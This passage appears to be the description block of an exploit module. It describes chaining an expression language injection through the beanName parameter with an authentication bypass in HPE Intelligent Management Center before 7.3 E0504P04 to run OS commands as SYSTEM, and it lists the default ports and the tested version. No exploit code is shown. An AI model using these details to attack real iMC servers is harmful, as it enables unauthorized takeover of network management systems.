        This module exploits an expression language injection
vulnerablity, along with
        an authentication bypass vulnerability in Hewlett Packard
Enterprise Intelligent
        Management Center before version 7.3 E0504P04 to achieve
remote code execution.

        The HP iMC server suffers from multiple vulnerabilities allows
unauthenticated
        attacker to execute arbitrary Expression Language via the
beanName parameter,
        allowing execution of arbitrary operating system commands as
SYSTEM. This service
        listens on TCP port 8080 and 8443 by default.

        This module has been tested successfully on iMC PLAT v7.3
(E0504P02) on Windows
        2k12r2 x64 (EN).
